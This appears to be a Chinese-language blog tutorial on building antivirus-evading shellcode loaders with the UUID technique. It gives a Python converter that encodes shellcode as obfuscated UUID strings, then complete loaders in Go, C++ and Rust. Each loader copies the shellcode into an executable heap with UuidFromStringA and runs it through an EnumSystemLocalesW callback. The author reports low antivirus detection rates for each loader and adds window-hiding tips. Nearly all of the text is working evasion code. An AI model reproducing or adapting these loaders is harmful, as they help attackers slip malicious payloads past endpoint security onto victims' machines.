主要借助了Windows API的
UuidFromStringA
函数将UUID
对应的地址空间拷贝到一个新的地址空间,从而可以复制Shellcode
函数原型
在Windows Docs中,比较重要的函数原型先在此处给出。
UuidFromStringA
此函数用于将指定地址的一片空间拷贝到新的空间,按照UUID解析拷贝对应的值在对应空间内连续存放。
RPC_STATUS UuidFromStringA(
RPC_CSTR StringUuid,
UUID *Uuid
);
EnumSystemLocalesW
此函数调用会产生回调,回调函数地址为第一个参数。
BOOL EnumSystemLocalesW(
[in] LOCALE_ENUMPROCW lpLocaleEnumProc,
[in] DWORD dwFlags
);
HeapCreate
创建堆的API
HANDLE HeapCreate(
[in] DWORD flOptions,
[in] SIZE_T dwInitialSize,
[in] SIZE_T dwMaximumSize
);
ZwAllocateVirtualMemory
分配内存的API
NTSYSAPI NTSTATUS ZwAllocateVirtualMemory(
[in] HANDLE ProcessHandle,
[in, out] PVOID *BaseAddress,
[in] ULONG_PTR ZeroBits,
[in, out] PSIZE_T RegionSize,
[in] ULONG AllocationType,
[in] ULONG Protect
);
Converter
在开始之前,需要有一个转换器,用于将shellcode
转换为对应的UUID,给出以下脚本:
#Input your shellcode like:\xfc\x48\x83\xe4\xf0\xe8\xxx
buf = b""""""
import uuid
def convertToUUID(shellcode):
# If shellcode is not in multiples of 16, then add some nullbytes at the end
if len(shellcode) % 16 != 0:
print("[-] Shellcode's length not multiplies of 16 bytes")
print("[-] Adding nullbytes at the end of shellcode, this might break your shellcode.")
print("\n[*] Modified shellcode length: ", len(shellcode) + (16 - (len(shellcode) % 16)))
addNullbyte = b"\x00" * (16 - (len(shellcode) % 16))
shellcode += addNullbyte
uuids = []
for i in range(0, len(shellcode), 16):
uuidString = str(uuid.UUID(bytes_le=shellcode[i:i + 16]))
uuids.append(uuidString.replace("'", "\""))
return uuids
if __name__ == "__main__":
uuids = convertToUUID(buf)
encoded_uuids = []
for uuid in uuids:
tmp = ''
for c in uuid:
tmp += chr(ord(c) + 18)
encoded_uuids.append(tmp)
print(str(uuids).replace("'", "\""))
print(str(encoded_uuids).replace("'", "\""))
print(len(encoded_uuids))
实际这里还将UUID进行了一点处理,将其的ASCII码加了18,如果使用该数据,则需要在Loader中减去对应的ASCII码。
Loader编写
Golang
实际上,UUID免杀Loader的核心思路就是先分配一片可执行内存,然后将Shellcode
复制进去,接着调用EnumSystemLocalesW
设回调地址为shellcode
的首地址即可。
在Golang中,可以通过syscall
来加载相关的DLL并且找到对应函数;为提升免杀效果,可以使用golang.org/x/sys/windows
的NewLazyDLL
去动态加载对应的DLL。
首先先将常规使用的API函数定义给出:
const (
MEM_COMMIT = 0x1000
HEAP_CREATE_ENABLE_EXECUTE = 0x00040000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。
)
var (
ntdll = windows.NewLazyDLL("ntdll.dll")
kernel32 = windows.NewLazyDLL("kernel32.dll")
ZwAllocateVirtualMemory = ntdll.NewProc("ZwAllocateVirtualMemory")
rpcrt4 = syscall.MustLoadDLL("rpcrt4.dll")
UuidFromStringA = rpcrt4.MustFindProc("UuidFromStringA")
HeapCreate = kernel32.NewProc("HeapCreate")
EnumSystemLocalesW = kernel32.NewProc("EnumSystemLocalesW")
uuids []string = []string{/*UUID here*/}
)
接下来在主函数中,首先创建堆:
addr, _, err := HeapCreate.Call(uintptr(HEAP_CREATE_ENABLE_EXECUTE), 0, 0)
if addr == 0 || err.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("there was an error calling the HeapCreate function:\r\n%s", err))
}
然后分配空间:
ZwAllocateVirtualMemory.Call(addr, 0, 0, 0x100000, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
接下来考虑将shellcode
复制进去:
addrPtr := addr
for _, uuid := range uuids {
u := append([]byte(uuid), 0)
for i := 0; i < 36; i++ {
u[i] = u[i] - 18
}
rpcStatus, _, err := UuidFromStringA.Call(uintptr(unsafe.Pointer(&u[0])), addrPtr)
if rpcStatus != 0 {
log.Fatal(fmt.Sprintf("There was an error calling UuidFromStringA:\r\n%s", err))
}
addrPtr += 16
}
最后使用EnumSystemLocalesW
回调:
EnumSystemLocalesW.Call(addr, 0)
完整代码如下:
package main
import (
"fmt"
"log"
"runtime"
"syscall"
"time"
"unsafe"
"golang.org/x/sys/windows"
)
const (
MEM_COMMIT = 0x1000
HEAP_CREATE_ENABLE_EXECUTE = 0x00040000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。
)
var (
ntdll = windows.NewLazyDLL("ntdll.dll")
kernel32 = windows.NewLazyDLL("kernel32.dll")
ZwAllocateVirtualMemory = ntdll.NewProc("ZwAllocateVirtualMemory")
rpcrt4 = syscall.MustLoadDLL("rpcrt4.dll")
UuidFromStringA = rpcrt4.MustFindProc("UuidFromStringA")
HeapCreate = kernel32.NewProc("HeapCreate")
EnumSystemLocalesW = kernel32.NewProc("EnumSystemLocalesW")
uuids []string = []string{/*data here*/}
)
func main() {
//num, _ := numverofCPU()
//mem, _ := physicalMemory() //if num == 0 || mem == 0 { // fmt.Printf("Hello Crispr") // os.Exit(1) //}
var err error
if err != nil {
log.Fatal(err)
}
if err != nil {
log.Fatal(err)
}
addr, _, err := HeapCreate.Call(uintptr(HEAP_CREATE_ENABLE_EXECUTE), 0, 0)
if addr == 0 || err.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("there was an error calling the HeapCreate function:\r\n%s", err))
}
ZwAllocateVirtualMemory.Call(addr, 0, 0, 0x100000, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
addrPtr := addr
for _, uuid := range uuids {
u := append([]byte(uuid), 0)
for i := 0; i < 36; i++ {
u[i] = u[i] - 18
}
rpcStatus, _, err := UuidFromStringA.Call(uintptr(unsafe.Pointer(&u[0])), addrPtr)
if rpcStatus != 0 {
log.Fatal(fmt.Sprintf("There was an error calling UuidFromStringA:\r\n%s", err))
}
addrPtr += 16
}
EnumSystemLocalesW.Call(addr, 0)
}
实测效果,2023-08-31检出率为5/71:
只是完整的照着UUID免杀的思路进行了实现,并没有创新,这样的检出率还可以接受。
隐藏窗口可以在go build
时添加参数-ldflags "-s -w -H=windowsgui"
,即go build -ldflags "-s -w -H=windowsgui"
隐藏窗口会容易被杀
C++
源码头:
#include <iostream>
#include <Windows.h>
#include <rpcdce.h>
#include <thread>
using namespace std;
在C++中,动态加载DLL并且使用函数指针调用更加隐蔽,因此,给出以下的函数指针定义:
typedef HANDLE(*HCfun)(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize);
typedef NTSTATUS(*ZwAlVM)(HANDLE p, PVOID* b, ULONG_PTR z, PSIZE_T r, ULONG at, ULONG protect);
typedef RPC_STATUS(*UFSA)(RPC_CSTR su, UUID* uuid);
typedef BOOL(*ESLW)(LOCALE_ENUMPROC l, DWORD df);
首先加载对应的DLL并且找到对应的函数地址赋值给函数指针:
HINSTANCE kernel32 = LoadLibrary(L"kernel32.dll");
HINSTANCE ntdll = LoadLibrary(L"ntdll.dll");
HINSTANCE rpcrt4 = LoadLibrary(L"rpcrt4.dll");
if (kernel32 == NULL || ntdll == NULL || rpcrt4 == NULL) {
cout << "Load dll failed." << endl;
return 0;
}
HCfun HC = (HCfun)GetProcAddress(kernel32, "HeapCreate");
ZwAlVM Alloc = (ZwAlVM)GetProcAddress(ntdll, "ZwAllocateVirtualMemory");
UFSA ufsa = (UFSA)GetProcAddress(rpcrt4, "UuidFromStringA");
ESLW eslw = (ESLW)GetProcAddress(kernel32, "EnumSystemLocalesW");
创建堆:
HANDLE addr = HC(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
if (addr == 0) {
cout << "Heap create failed." << endl;
return 0;
} else {
cout << "Heap create success" << endl;
}
分配空间:
ULONG_PTR size = 0x100000;
Alloc(addr, 0, 0, &size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
复制Shellcode
:
DWORD_PTR ptr = (DWORD_PTR)addr;
for (int i = 0; i < sizeof(encoded_buf)/sizeof(encoded_buf[0]); i++) {
for (int j = 0; j < 36; j++) {
buf[j] = encoded_buf[i][j] - 18;
}
buf[36] = '\0';
RPC_STATUS rpcstatus = ufsa((RPC_CSTR)buf, (UUID*)ptr);
if (rpcstatus != 0) {
CloseHandle(addr);
return 0;
}
ptr = ptr + 16;
}
回调:
eslw((LOCALE_ENUMPROC)addr, 0);
CloseHandle(addr);
完整代码如下:
// bypass_loader.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <Windows.h>
#include <rpcdce.h>
#include <thread>
using namespace std;
typedef HANDLE(*HCfun)(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize);
typedef NTSTATUS(*ZwAlVM)(HANDLE p, PVOID* b, ULONG_PTR z, PSIZE_T r, ULONG at, ULONG protect);
typedef RPC_STATUS(*UFSA)(RPC_CSTR su, UUID* uuid);
typedef BOOL(*ESLW)(LOCALE_ENUMPROC l, DWORD df);
int main()
{
const char* encoded_buf[] = { /*data here*/ };
char buf[37];
HINSTANCE kernel32 = LoadLibrary(L"kernel32.dll");
HINSTANCE ntdll = LoadLibrary(L"ntdll.dll");
HINSTANCE rpcrt4 = LoadLibrary(L"rpcrt4.dll");
if (kernel32 == NULL || ntdll == NULL || rpcrt4 == NULL) {
cout << "Load dll failed." << endl;
return 0;
}
HCfun HC = (HCfun)GetProcAddress(kernel32, "HeapCreate");
ZwAlVM Alloc = (ZwAlVM)GetProcAddress(ntdll, "ZwAllocateVirtualMemory");
UFSA ufsa = (UFSA)GetProcAddress(rpcrt4, "UuidFromStringA");
ESLW eslw = (ESLW)GetProcAddress(kernel32, "EnumSystemLocalesW");
HANDLE addr = HC(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
if (addr == 0) {
cout << "Heap create failed." << endl;
return 0;
}
else {
cout << "Heap create success" << endl;
}
ULONG_PTR size = 0x100000;
Alloc(addr, 0, 0, &size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
DWORD_PTR ptr = (DWORD_PTR)addr;
for (int i = 0; i < sizeof(encoded_buf)/sizeof(encoded_buf[0]); i++) {
for (int j = 0; j < 36; j++) {
buf[j] = encoded_buf[i][j] - 18;
}
buf[36] = '\0';
RPC_STATUS rpcstatus = ufsa((RPC_CSTR)buf, (UUID*)ptr);
if (rpcstatus != 0) {
CloseHandle(addr);
return 0;
}
ptr = ptr + 16;
}
printf("[*] Hexdump: ");
for (int i = 0; i < (sizeof(encoded_buf) / sizeof(encoded_buf[0])) * 16; i++) {
printf("%02X ", ((unsigned char*)addr)[i]);
}
std::thread t([=]() {
eslw((LOCALE_ENUMPROC)addr, 0);
});
t.join();
CloseHandle(addr);
WaitForSingleObject(addr, INFINITE);
return 0;
}
实测效果,2023-08-31检出率为5/70:
360对该文件拦截。
Rust
对Rust不熟悉,照着Microsoft的文档都折腾了很久,文档地址是:windows - Rust
给出项目配置Cargo.toml
:
[package]
name = "bypass_loader"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
windows = {version = "0.51", features = ["Win32_System_Memory", "Win32_Foundation", "Wdk_Storage_FileSystem", "Win32_System_Rpc", "Win32_Globalization"]}
[profile.release]
lto = true
opt-level = 'z'
panic = 'abort'
这里使用了微软官方的Rust库。
由于大量操作都是不安全的因此,将所有的实际逻辑代码都放在unsafe
中。
导入必要的库:
use std::mem::transmute;
use std::process::exit;
use windows::Win32::Foundation::CloseHandle;
use windows::Win32::System::Rpc::UuidFromStringA;
use windows::Win32::Globalization::{EnumSystemLocalesW, LOCALE_ENUMPROCW};
use windows::Win32::System::Memory::{HeapCreate, HEAP_CREATE_ENABLE_EXECUTE, MEM_COMMIT, PAGE_EXECUTE_READWRITE};
use windows::Wdk::Storage::FileSystem::ZwAllocateVirtualMemory;
创建堆:
let handle = match HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0) {
Ok(h) => h,
Err(e) => {
println!("Create Heap Failed, info = {:#?}, exit", e.info());
exit(0);
}
};
println!("Create Heap success.");
这里通过
match
将返回的结果unwrap
了,实际返回的是Result<HANDLE>
,如果可以确保成功直接通过.unwrap()
取到地址也是可以的。
接下来分配空间:
let mut size: usize = 0x100000;
let _ = ZwAllocateVirtualMemory(handle, std::ptr::null_mut(), 0, &mut size as *mut usize, MEM_COMMIT.0, PAGE_EXECUTE_READWRITE.0);
通过
.0
可以直接解结构体获取其中的值
接下来拷贝Shellcode
:
let mut current_ptr: isize = handle.0;
let mut data: [u8; 37] = [0; 37];
for uuid in uuids.iter() {
let mut index = 0;
for c in uuid.chars() {
data[index] = c as u8 - 18;
index += 1;
}
UuidFromStringA(windows::core::PCSTR(&data as *const u8), current_ptr as *mut windows::core::GUID);
current_ptr = current_ptr + 16;
}
最后回调:
let _ = EnumSystemLocalesW(transmute::<HANDLE, LOCALE_ENUMPROCW>(handle), 0);
let _ = CloseHandle(handle);
实际上如何将
HANDLE
类型转换为LOCALE_ENUMPROCW
这里卡了很久,一开始想通过as
或者构造新结构去实现,但是发现很难做到,最后使用transmute
成功
完整代码如下:
use std::mem::transmute;
use std::process::exit;
use windows::Win32::Foundation::{CloseHandle, HANDLE};
use windows::Win32::System::Rpc::UuidFromStringA;
use windows::Win32::Globalization::{EnumSystemLocalesW, LOCALE_ENUMPROCW};
use windows::Win32::System::Memory::{HeapCreate, HEAP_CREATE_ENABLE_EXECUTE, MEM_COMMIT, PAGE_EXECUTE_READWRITE};
use windows::Wdk::Storage::FileSystem::ZwAllocateVirtualMemory;
fn main() {
let uuids = [/*data here*/];
unsafe {
let handle = match HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0) {
Ok(h) => h,
Err(e) => {
println!("Create Heap Failed, info = {:#?}, exit", e.info());
exit(0);
}
};
println!("Create Heap success.");
let mut size: usize = 0x100000;
let _ = ZwAllocateVirtualMemory(handle, std::ptr::null_mut(), 0, &mut size as *mut usize, MEM_COMMIT.0, PAGE_EXECUTE_READWRITE.0);
let mut current_ptr: isize = handle.0;
let mut data: [u8; 37] = [0; 37];
for uuid in uuids.iter() {
let mut index = 0;
for c in uuid.chars() {
data[index] = c as u8 - 18;
index += 1;
}
UuidFromStringA(windows::core::PCSTR(&data as *const u8), current_ptr as *mut windows::core::GUID);
current_ptr = current_ptr + 16;
}
let _ = EnumSystemLocalesW(transmute::<HANDLE, LOCALE_ENUMPROCW>(handle), 0);
let _ = CloseHandle(handle);
}
}
实测效果,2023-08-31检出率为2/70:
添加隐藏窗口代码在
main.rs
开头:
#![windows_subsystem = "windows"]
此时检出率上升到5/71:
从源代码层面上隐藏窗口实际比较难做到,理论上应该可以通过
GetConsoleWindow
获取当前的控制台窗口句柄,然后通过ShowWindow
的API
隐藏窗口,但是实际上我将ShowWindow(GetConsoleWindow(), SW_HIDE);
代码添加进去后没有效果。